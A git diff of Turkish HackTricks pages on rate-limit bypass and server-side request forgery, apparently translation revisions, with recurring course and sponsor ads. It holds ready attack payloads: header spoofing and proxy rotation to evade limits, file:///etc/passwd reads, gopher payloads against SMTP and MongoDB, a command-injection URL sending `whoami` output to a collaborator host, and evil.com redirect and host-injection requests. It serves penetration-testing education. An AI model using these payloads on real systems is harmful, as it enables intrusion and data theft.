<summary><strong>Sıfırdan kahraman oluncaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
@ -26,11 +26,11 @@ HackTricks'ı desteklemenin diğer yolları:
### Benzer Uç Noktaları Keşfetme
Hedeflenen uç noktanın çeşitli varyasyonlarında brute force saldırıları gerçekleştirmek için denemeler yapılmalıdır, örneğin `/api/v3/sign-up` gibi hedeflenen uç noktanın alternatifleri olan `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` vb.
Hedeflenen uç noktanın varyasyonları üzerinde kaba kuvvet saldırıları gerçekleştirmek için denemeler yapılmalıdır, örneğin `/api/v3/sign-up` gibi hedeflenen uç noktanın alternatifleri olan `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` vb.
### Kod veya Parametrelerde Boş Karakterler Kullanma
Kod veya parametrelere `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` gibi boş baytlar eklemek faydalı bir strateji olabilir. Örneğin, bir parametreyi `code=1234%0a` olarak ayarlamak, e-posta adresine yeni satır karakterleri ekleyerek deneme sınırlamalarını aşmak gibi girişlerdeki varyasyonları genişletmeye olanak tanır.
Kod veya parametrelere `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` gibi boş baytlar eklemek faydalı bir strateji olabilir. Örneğin, bir parametreyi `code=1234%0a` olarak ayarlamak, e-posta adresine yeni satır karakterleri ekleyerek deneme sınırlamalarını aşmak gibi girişlerde değişiklik yapmayı sağlar.
### Başlıklar Aracılığıyla IP Kökenini Manipüle Etme
@ -50,42 +50,42 @@ X-Forwarded-For: 127.0.0.1
```
### Diğer Başlıkları Değiştirmek
Kullanıcı ajanı ve çerezler gibi diğer istek başlıklarını değiştirmek önerilir, çünkü bunlar da istek desenlerini tanımlamak ve izlemek için kullanılabilir. Bu başlıkları değiştirmek, isteği yapanın faaliyetlerinin tanınmasını ve izlenmesini engelleyebilir.
Kullanıcı ajanı ve çerezler gibi diğer istek başlıklarını değiştirmek önerilir, çünkü bunlar da istek desenlerini tanımlamak ve izlemek için kullanılabilir. Bu başlıkları değiştirmek, istekte bulunanın faaliyetlerinin tanınmasını ve izlenmesini engelleyebilir.
### API Gateway Davranışını Kullanmak
### API Gateway Davranışını Kullanma
Bazı API gateway'leri, endpoint ve parametrelerin kombinasyonuna dayalı olarak hız sınırlaması uygulamak üzere yapılandırılmıştır. Parametre değerlerini değiştirerek veya isteğe anlamsız parametreler ekleyerek, gateway'in hız sınırlama mantığını atlayabilir ve her isteğin benzersiz görünmesini sağlayabilirsiniz. Örneğin `/resetpwd?someparam=1`.
Bazı API gateway'ler, endpoint ve parametrelerin kombinasyonuna dayalı olarak hız sınırlaması uygulamak üzere yapılandırılmıştır. Parametre değerlerini değiştirerek veya isteğe anlamsız parametreler ekleyerek, gateway'in hız sınırlama mantığını atlayabilir ve her isteğin benzersiz görünmesini sağlayabilirsiniz. Örneğin `/resetpwd?someparam=1`.
### Her Denemeden Önce Hesabınıza Giriş Yapmak
### Her Denemeden Önce Hesabınıza Giriş Yapma
Her denemeden önce bir hesaba giriş yapmak veya her deneme setinden sonra, hız sınırlama sayacını sıfırlayabilir. Bu özellikle giriş işlevlerini test ederken faydalıdır. Burp Suite gibi araçlarda Pitchfork saldırısını kullanarak, her birkaç denemede bir kimlik bilgilerini değiştirerek ve yönlendirmeleri takip ettiğinizden emin olarak, hız sınırlama sayacını etkili bir şekilde sıfırlayabilirsiniz.
### Proxy Ağlarını Kullanmak
### Proxy Ağlarını Kullanma
Çeşitli IP adreslerine istekleri dağıtmak için bir dizi proxy ağı dağıtmak, IP tabanlı hız sınırlarını etkili bir şekilde atlayabilir. Trafikleri çeşitli proxy'ler aracılığıyla yönlendirerek, her istek farklı bir kaynaktan geldiği gibi görünür, hız sınırlamasının etkinliğini azaltır.
### Saldırıyı Farklı Hesaplar veya Oturumlar Arasında Bölmek
### Saldırıyı Farklı Hesaplar veya Oturumlar Arasında Bölme
Hedef sistem hesap veya oturum başına hız sınırları uygularsa, saldırıyı veya testi birden fazla hesap veya oturum arasında dağıtmak, tespit edilmeyi önlemeye yardımcı olabilir. Bu yaklaşım, birden fazla kimlik veya oturum belirteci yönetmeyi gerektirir, ancak izin verilen sınırlar içinde kalmak için yükü etkili bir şekilde dağıtabilir.
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬** [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
* **💬 [Discord grubuna](https://discord.gg/hRep4RUj7f) katılın veya [telegram grubuna](https://t.me/peass) katılın veya Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin.**
* **Hacking hilelerinizi göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar gönderin.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=rate-limit-bypass) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=rate-limit-bypass" %}

View file

@ -3,28 +3,28 @@
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Edinin:
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturun.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
<details>
<summary><strong>Sıfırdan kahraman olana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**'da takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github depolarına PR'lar gönderin.
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
## Temel Bilgiler
Bir **Sunucu Tarafı İstek Sahteciliği (SSRF)** zafiyeti, bir saldırganın **sunucu tarafı uygulamasını** manipüle ederek istedikleri bir alan adına **HTTP istekleri yapmasına neden olduğunda** meydana gelir. Bu zafiyet, saldırgan tarafından yönlendirilen keyfi harici isteklere sunucuyu maruz bırakır.
Bir **Sunucu Tarafı İstek Sahteciliği (SSRF)** zafiyeti, bir saldırganın bir **sunucu tarafı uygulamasını** manipüle ederek istedikleri bir alan adına **HTTP istekleri yapmasına neden olduğunda** meydana gelir. Bu zafiyet, saldırgan tarafından yönlendirilen keyfi harici isteklere sunucuyu maruz bırakır.
## SSRF Yakalama
@ -38,11 +38,11 @@ Yapmanız gereken ilk şey, sizin tarafınızdan oluşturulan bir SSRF etkileşi
* [**https://github.com/teknogeek/ssrf-sheriff**](https://github.com/teknogeek/ssrf-sheriff)
* [http://requestrepo.com/](http://requestrepo.com/)
* [https://github.com/stolenusername/cowitness](https://github.com/stolenusername/cowitness)
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrok kullanan bir Burp Collaborator
* [https://github.com/dwisiswant0/ngocok](https://github.com/dwisiswant0/ngocok) - ngrok kullanan Bir Burp Collaborator
## Beyaz Listelenen Alanlar Geçme
Genellikle SSRF'nin yalnızca **belirli beyaz listelenen alanlarda** veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için bir **derleme** bulunmaktadır:
Genellikle SSRF'nin yalnızca **belirli beyaz listelenen alanlarda** veya URL'de çalıştığını göreceksiniz. Aşağıdaki sayfada, o beyaz listeyi atlatmaya çalışmak için **derlenmiş teknikler** bulunmaktadır:
{% content-ref url="url-format-bypass.md" %}
[url-format-bypass.md](url-format-bypass.md)
@ -50,23 +50,23 @@ Genellikle SSRF'nin yalnızca **belirli beyaz listelenen alanlarda** veya URL'de
### Açık yönlendirmayla Atlatma
Sunucu doğru bir şekilde korunuyorsa, bir web sayfası içindeki bir Açık Yönlendirme'yi sömürerek **tüm kısıtlamaları atlayabilirsiniz**. Çünkü web sayfası **aynı alan adına SSRF'ye izin verecek** ve muhtemelen **yönlendirmeleri takip edecektir**, **Sunucunun içindeki herhangi bir kaynağa erişmek için Açık Yönlendirmeyi sömürebilirsiniz**.\
Sunucu doğru şekilde korunuyorsa, bir web sayfası içindeki bir Açık Yönlendirme'yi sömürerek **tüm kısıtlamaları atlayabilirsiniz**. Çünkü web sayfası **aynı alan adına SSRF'ye izin verecek** ve muhtemelen **yönlendirmeleri takip edecektir**, **Sunucunun iç herhangi bir kaynağa erişmesini sağlamak için Açık Yönlendirme'yi sömürebilirsiniz**.\
Daha fazla bilgi için buraya bakın: [https://portswigger.net/web-security/ssrf](https://portswigger.net/web-security/ssrf)
## Protokoller
* **file://**
* `file://` URL şeması, doğrudan `/etc/passwd`'ye işaret eden: `file:///etc/passwd`
* `file://` URL şeması, doğrudan `/etc/passwd`'ye işaret eder: `file:///etc/passwd`
* **dict://**
* DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişmek için kullanıldığı şeklinde tanımlanmıştır. Verilen bir örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL'i ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanılması örneği: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* DICT URL şeması, DICT protokolü aracılığıyla tanımlar veya kelime listelerine erişim için kullanıldığı belirtilir. Verilen bir örnek, belirli bir kelimeyi, veritabanını ve giriş numarasını hedefleyen oluşturulmuş bir URL'i ve bir PHP betiğinin, saldırgan tarafından sağlanan kimlik bilgilerini kullanarak bir DICT sunucusuna bağlanmak için potansiyel olarak yanlış kullanıldığı bir örneği gösterir: `dict://<generic_user>;<auth>@<generic_host>:<port>/d:<word>:<database>:<n>`
* **SFTP://**
* Güvenli kabuk üzerinden güvenli dosya transferi için bir protokol olarak tanımlanmıştır, bir PHP betiğinin kötü niyetli bir SFTP sunucusuna bağlanmak için nasıl sömürülebileceğini gösteren bir örnek sunulmuştur: `url=sftp://generic.com:11111/`
* Güvenli dosya transferi için bir protokol olarak tanımlanırken, bir PHP betiğinin nasıl kötüye kullanılabileceğini gösteren bir örnek sunulur: `url=sftp://generic.com:11111/`
* **TFTP://**
* UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna istek göndermek için tasarlandığı şekilde belirtilmiştir. 'generic.com' üzerinde '12346' bağlantı noktasına 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* UDP üzerinden çalışan Trivial File Transfer Protocol, bir PHP betiğinin bir TFTP sunucusuna istek göndermek için tasarlandığı bir örnekle belirtilir. 'generic.com' üzerinde '12346' portuna 'TESTUDPPACKET' dosyası için bir TFTP isteği yapılır: `ssrf.php?url=tftp://generic.com:12346/TESTUDPPACKET`
* **LDAP://**
* Bu bölüm, IP ağları üzerinde dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsamaktadır. Localhost'taki bir LDAP sunucusuyla etkileşim: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* Bu bölüm, IP ağları üzerinden dağıtılmış dizin bilgi hizmetlerini yönetmek ve erişmek için kullanılan Hafif Dizin Erişim Protokolü'nü kapsar. Localhost'taki bir LDAP sunucusuyla etkileşim: `'%0astats%0aquit' via ssrf.php?url=ldap://localhost:11211/%0astats%0aquit.`
* **SMTP**
* Dahili etki alanı adlarını ortaya çıkarmak için SMTP hizmetleriyle etkileşimde bulunmak için SSRF zafiyetlerini sömürmek için bir yöntem tanımlanmıştır ve bu bilgiler temel alınarak daha fazla araştırma adımları atılmıştır.
* Dahili etki alanı adlarını ortaya çıkarmak için SMTP hizmetleriyle etkileşim kurmak için SSRF zafiyetlerini nasıl sömüreceğiniz açıklanmaktadır. Bu bilgiler temel alınarak iç etki alanı adlarını ortaya çıkarmak ve bu bilgilere dayalı daha fazla araştırma adımları atmak için adımlar içerir.
```
From https://twitter.com/har1sec/status/1182255952055164929
1. connect with SSRF on smtp localhost:25
@ -80,12 +80,12 @@ From https://twitter.com/har1sec/status/1182255952055164929
file:///app/public/{.}./{.}./{app/public/hello.html,flag.txt}
```
* **Gopher://**
* Gopher protokolünün IP, port ve baytları belirtme yeteneği, Gopherus ve uzak-yöntem-tahmincisi gibi araçlarla birlikte sunucuya ileti oluşturmak için tartışılmaktadır. İki farklı kullanım örneği verilmiştir:
* Gopher protokolünün IP, port ve baytları belirtme yeteneği, Gopherus ve uzak-yöntem-tahmincisi gibi araçlarla oluşturulan yükler için tartışılmaktadır. İki farklı kullanım örneği verilmiştir:
### Gopher://
Bu protokolü kullanarak sunucunun **göndermesini istediğiniz IP, port ve baytları** belirtebilirsiniz. Daha sonra, temelde bir SSRF'yi sömürerek **herhangi bir TCP sunucusuyla iletişim kurabilirsiniz** (ancak önce hizmetle nasıl iletişim kurulacağını bilmelisiniz).\
Neyse ki, çeşitli hizmetler için yük oluşturmak için [Gopherus](https://github.com/tarunkant/Gopherus) kullanabilirsiniz. Ayrıca, _Java RMI_ hizmetleri için _gopher_ yükleri oluşturmak için [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kullanılabilir.
Bu protokolü kullanarak sunucunun **göndermesini istediğiniz IP, port ve baytları** belirtebilirsiniz. Sonrasında, temelde bir SSRF'yi sömürerek **herhangi bir TCP sunucusuyla iletişim kurabilirsiniz** (ancak önce hizmetle nasıl iletişim kurulacağını bilmelisiniz).\
Neyse ki, çeşitli hizmetler için yükler oluşturmak için [Gopherus](https://github.com/tarunkant/Gopherus) kullanabilirsiniz. Ayrıca, _Java RMI_ hizmetleri için _gopher_ yükleri oluşturmak için [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) kullanılabilir.
**Gopher smtp**
```
@ -108,7 +108,7 @@ QUIT
gopher://<server>:8080/_GET / HTTP/1.0%0A%0A
gopher://<server>:8080/_POST%20/x%20HTTP/1.0%0ACookie: eatme%0A%0AI+am+a+post+body
```
**Gopher SMTP — 1337'e geri bağlanma**
**Gopher SMTP — 1337'e geri bağlantı yapın**
{% code title="redirect.php" %}
```php
@ -119,7 +119,7 @@ https://example.com/?q=http://evil.com/redirect.php.
```
{% endcode %}
#### Gopher MongoDB -- Kullanıcı oluştur username=admin password=admin123 ve izin=administrator ile
#### Gopher MongoDB -- Kullanıcı oluştur username=admin password=admin123 ve izin=administrator olarak
```bash
# Check: https://brycec.me/posts/dicectf_2023_challenges#unfinished
curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
@ -130,7 +130,7 @@ curl 'gopher://0.0.0.0:27017/_%a0%00%00%00%00%00%00%00%00%00%00%00%dd%0
```
## Referrer başlığı aracılığıyla SSRF ve Diğerleri
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahtekarlığı (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri analiz etmek için ziyaret edebilir. Bu açıkları ortaya çıkarmak için Burp Suite eklentisi "**Collaborator Everywhere**" önerilir, analiz araçlarının Referer başlığını işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek için.
Sunuculardaki analiz yazılımları genellikle gelen bağlantıları izlemek için Referrer başlığını kaydeder, bu uygulamaları yanlışlıkla Sunucu Tarafı İstek Sahtekarlığı (SSRF) açıklarına maruz bırakır. Bu, çünkü bu tür yazılımlar, Referer başlığında belirtilen harici URL'leri analiz etmek için ziyaret edebilir. Bu açıkları ortaya çıkarmak için Burp Suite eklentisi "**Collaborator Everywhere**" önerilir, analiz araçlarının Referer başlığını işleme şeklini kullanarak potansiyel SSRF saldırı yüzeylerini belirlemek.
## Sertifikadan SNI verileri aracılığıyla SSRF
@ -145,7 +145,7 @@ ssl_preread on;
}
}
```
Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca SNI alanında istenen IP adresini veya alan adını belirterek sömürülebilecek bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyetine maruz kalır. `openssl` komutunu kullanarak, örneğin `internal.host.com` gibi keyfi bir arka uca bağlantı zorlamak için bir sömürü örneği aşağıda verilmiştir:
Bu yapılandırmada, Sunucu Adı Gösterimi (SNI) alanındaki değer doğrudan arka uç adresi olarak kullanılır. Bu kurulum, yalnızca SNI alanında istenen IP adresini veya alan adını belirterek sömürülebilecek bir Sunucu Tarafı İstek Sahtekarlığı (SSRF) zafiyetini ortaya çıkarır. `openssl` komutunu kullanarak, örneğin `internal.host.com` gibi keyfi bir arka uca bağlantı zorlamak için bir sömürü örneği aşağıda verilmiştir:
```bash
openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
```
@ -153,15 +153,15 @@ openssl s_client -connect target.com:443 -servername "internal.host.com" -crlf
## Komut Enjeksiyonu ile SSRF
`` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` `` gibi bir yük denemeye değer olabilir.
Denemeye değer bir yük (payload) şu şekilde olabilir: `` url=http://3iufty2q67fuy2dew3yug4f34.burpcollaborator.net?`whoami` ``
## PDF'lerin Oluşturulması
Web sayfası otomatik olarak sağladığınız bazı bilgilerle bir PDF oluşturuyorsa, PDF oluşturulurken sunucu tarafından yürütülecek olan **bazı JS kodlarını ekleyebilirsiniz** ve bir SSRF'yi kötüye kullanabilirsiniz. [**Daha fazla bilgiyi buradan bulabilirsiniz**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
Eğer web sayfası sizin sağladığınız bazı bilgilerle otomatik olarak bir PDF oluşturuyorsa, **PDF oluşturucusu** (sunucu) tarafından yürütülecek bazı JS kodları ekleyebilir ve bir SSRF'yi istismar edebilirsiniz. [**Daha fazla bilgiyi buradan bulabilirsiniz**](../xss-cross-site-scripting/server-side-xss-dynamic-pdf.md)**.**
## SSRF'den DoS'a
Birkaç oturum oluşturun ve oturumlardan SSRF'yi kötüye kullanarak ağır dosyaları indirmeyi deneyin.
Birkaç oturum oluşturun ve oturumlardan SSRF'yi istismar ederek ağır dosyaları indirmeyi deneyin.
## SSRF PHP Fonksiyonları
@ -171,7 +171,7 @@ Birkaç oturum oluşturun ve oturumlardan SSRF'yi kötüye kullanarak ağır dos
## Gopher'a Yönlendirme ile SSRF
Bazı kötüye kullanımlar için **bir yönlendirme yanıtı göndermeniz gerekebilir** (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:
Bazı istismarlar için **bir yönlendirme yanıtı göndermeniz gerekebilir** (muhtemelen farklı bir protokol olan gopher'ı kullanmak için). Burada bir yönlendirme ile yanıt vermek için farklı python kodları bulunmaktadır:
```python
# First run: openssl req -new -x509 -keyout server.pem -out server.pem -days 365 -nodes
from http.server import HTTPServer, BaseHTTPRequestHandler
@ -206,14 +206,14 @@ app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443)
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ssrf-server-side-request-forgery) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **otomatik iş akışlarını** kolayca oluşturun ve otomatikleştirin.\
Bugün Erişim Edinin:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ssrf-server-side-request-forgery" %}
## Yanlış yapılandırılmış vekiller ile SSRF
Bu gönderiden [**bu hileler**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
Bu yazıdan [**alınan püf noktalar**](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies).
### Flask
@ -238,7 +238,7 @@ app.run(threaded=False)
```
</details>
Flask, **`@`** karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da **başlangıç ana bilgisayar adını kullanıcı adı yapar** ve yeni bir tane enjekte etmeye olanak tanır. Saldırı isteği:
Flask, **`@`** karakterini başlangıç karakteri olarak kullanmaya izin verir, bu da **başlangıç ana bilgisayar adını kullanıcı adı yapar** ve yeni bir tane enjekte etmeyi sağlar. Saldırı isteği:
```http
GET @evildomain.com/ HTTP/1.1
Host: target.com
@ -246,11 +246,11 @@ Connection: close
```
### Spring Boot <a href="#heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation" id="heading-ssrf-on-spring-boot-through-incorrect-pathname-interpretation"></a>
Zararlı kod:
Zafiyetli kod:
<figure><img src="../../.gitbook/assets/image (1201).png" alt=""><figcaption></figcaption></figure>
Keşfedildi ki bir isteğin yolunu karakter **`;`** ile başlatmak mümkündür, bu da daha sonra **`@`** kullanmaya ve yeni bir ana bilgisayar enjekte etmeye olanak tanır. Saldırı isteği:
Keşfedildi ki bir isteğin yolunu karakter **`;`** ile başlatmak mümkündür, bu da daha sonra **`@`** kullanmaya ve erişmek için yeni bir ana bilgisayar enjekte etmeye olanak tanır. Saldırı isteği:
```http
GET ;@evil.com/url HTTP/1.1
Host: target.com
@ -277,27 +277,27 @@ var_dump($response);
```
</details>
PHP, **URL yolundaki eğik çizgi önünde `*` karakterinin kullanılmasına izin verir**, ancak yalnızca kök dizin `/` için kullanılabilir ve noktalar `.` ilk eğik çizgiden önce kullanılamaz, bu nedenle örneğin noktasız-hex kodlu bir IP adresinin kullanılması gerekmektedir:
PHP, URL'nin yolundaki **slash'tan önce `*` karakterinin kullanılmasına izin verir**, ancak yalnızca kök dizin `/` için kullanılabilir ve noktalar `.` ilk slash'ten önce izin verilmediği için, örneğin noktasız-hex kodlu bir IP adresi kullanmak gereklidir:
```http
GET *@0xa9fea9fe/ HTTP/1.1
Host: target.com
Connection: close
```
## DNS Rebidding CORS/SOP bypass
## DNS Yeniden Yönlendirme CORS/SOP Geçişi
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırmakta sorun yaşıyorsanız**, bu kısıtlamayı atlamak için **DNS Rebidding** kullanılabilir:
Eğer **CORS/SOP** nedeniyle **yerel bir IP'den içerik sızdırmakta sorun yaşıyorsanız**, bu kısıtlamayı atlamak için **DNS Yeniden Yönlendirme** kullanılabilir:
{% content-ref url="../cors-bypass.md" %}
[cors-bypass.md](../cors-bypass.md)
{% endcontent-ref %}
### Otomatik DNS Rebidding
### Otomatik DNS Yeniden Yönlendirme
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS rebinding](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırganın saldırı sunucusunun DNS adını hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki zayıf yazılımları sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
[**`Singularity of Origin`**](https://github.com/nccgroup/singularity), [DNS yeniden yönlendirme](https://en.wikipedia.org/wiki/DNS\_rebinding) saldırıları gerçekleştirmek için bir araçtır. Saldırganın saldırı sunucusunun DNS adını hedef makinenin IP adresine yeniden bağlamak ve hedef makinedeki güvenlik açıklarını sömürmek için saldırı yüklerini sunmak için gerekli bileşenleri içerir.
Ayrıca **http://rebind.it/singularity.html** adresinde **genel olarak çalışan sunucuyu** kontrol edin
Ayrıca **http://rebind.it/singularity.html** adresinde **genel olarak çalışan sunucuyu** kontrol edin.
## DNS Rebidding + TLS Oturum Kimliği/Oturum bileti
## DNS Yeniden Yönlendirme + TLS Oturum Kimliği/Oturum bileti
Gereksinimler:
@ -310,17 +310,17 @@ Saldırı:
1. Kullanıcının/botun **saldırgan tarafından kontrol edilen bir alanı** ziyaret etmesini isteyin
2. **DNS**'nin **TTL** değeri **0** saniye olmalıdır (bu nedenle kurban, alanın IP'sini yakında tekrar kontrol edecektir)
